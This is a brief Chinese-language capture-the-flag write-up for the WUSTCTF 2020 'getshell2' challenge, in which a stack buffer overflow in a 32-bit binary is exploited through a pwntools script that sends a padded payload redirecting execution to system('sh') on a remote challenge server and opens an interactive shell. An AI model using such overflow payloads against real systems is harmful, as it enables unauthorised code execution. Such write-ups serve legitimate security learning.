01[WUSTCTF 2020]getshell2
考点:栈溢出,ret2shellcode
首先查看保护机制
为32位小端程序,开启了栈不可执行。
用IDA32查看伪代码
追踪到vulnerable函数
可以通过read实现溢出
exp:
#p = process('./pwn')
p = remote("1.14.71.254",'28608')
sh = 0x08048670
#0x08048670 : sh ROPgadget --binary pwn --string "sh"
system = 0x08048529
#0x080482bf : system ROPgadget --binary pwn --string "system"
bin_add = 0x08048658
#ROPgadget --binary pwn --string "bin"
payload = b'a'*(0x18+4)+p32(system)+p32(sh)
p.sendline(payload)
p.interactive()